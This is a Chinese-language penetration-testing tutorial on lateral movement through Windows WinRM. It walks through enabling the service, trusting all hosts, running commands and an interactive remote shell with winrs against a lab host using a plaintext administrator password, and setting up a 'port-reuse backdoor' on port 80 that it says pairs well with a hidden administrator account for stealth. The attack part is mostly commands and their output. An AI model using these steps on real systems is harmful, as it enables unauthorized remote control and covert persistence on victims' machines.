基于winRM的横向移动
winRM简介
WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。
作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。
WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。
注意:必须配置并运行WinRM服务才能接受远程连接。WinRM接受连接可能还需要几个步骤。请参阅这篇 Pentest Lab 文章 以了解更多信息。
※ winRM横向移动同时适用于工作组和域环境。
利用条件
通信的双方都需要开启WinRM服务
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。
只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
WinRM状态查询
PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
ExitCode : 1077
Name : WinRM
ProcessId : 0
StartMode : Manual
State : Stopped
Status : OK
开启可以使用下面其中一条命令即可
winrm quickconfig -q #这条命令运行后会自动添加防火墙例外规则,放行5985端口。
Enable-PSRemoting -Force
再次查询
PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
ExitCode : 0
Name : WinRM
ProcessId : 1128
StartMode : Auto
State : Running
Status : OK
服务端防火墙允许WinRM服务端口通信
默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
WinRM通信两端配置要求
1.查看WinRM具体配置
winrm get winrm/config
2.允许所有客户端IP连接
winrm set winrm/config/Client @{TrustedHosts="*"} winrm e winrm/config/listener #查看监听地址和端口
远程管理
远程连接时可能会遇到以下错误
Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。 Winrs error:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入到域中,则必须使用 HTTPS 传输或者必须将目标计算机添加到 TrustedHosts 配置设置。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 通过运行以下命令 可获得有关此内容的更多信息: winrm help config。
在你的攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可
C:\Users\Administrator>winrm set winrm/config/Client @{TrustedHosts="*"} Client NetworkDelayms = 5000 URLPrefix = wsman AllowUnencrypted = false Auth Basic = true Digest = true Kerberos = true Negotiate = true Certificate = true CredSSP = false DefaultPorts HTTP = 5985 HTTPS = 5986 TrustedHosts = *
远程命令执行
C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami win-win7\administrator
获取交互式的shell
C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% cmd Microsoft Windows [版本 6.1.7601] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\Users\Administrator>ipconfig Windows IP 配置 以太网适配器 本地连接: 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::95c8:a481:b587:2d7c%11 IPv4 地址 . . . . . . . . . . . . : 192.168.86.114 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.86.1 隧道适配器 isatap.{993CBC2D-5164-415A-A70E-00FF0F6119D5}: 媒体状态 . . . . . . . . . . . . : 媒体已断开 连接特定的 DNS 后缀 . . . . . . . :
第三方工具
使用WSMan.Automation COM对象通过WinRM执行远程命令。
https://github.com/bohops/WSMan-WinRM
其他利用
开启远程主机3389
如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389
端口复用后门
将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下
1.配置目标WinRM服务,更改监听端口开启复用
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
2.链接目标
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。
参考引用:
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/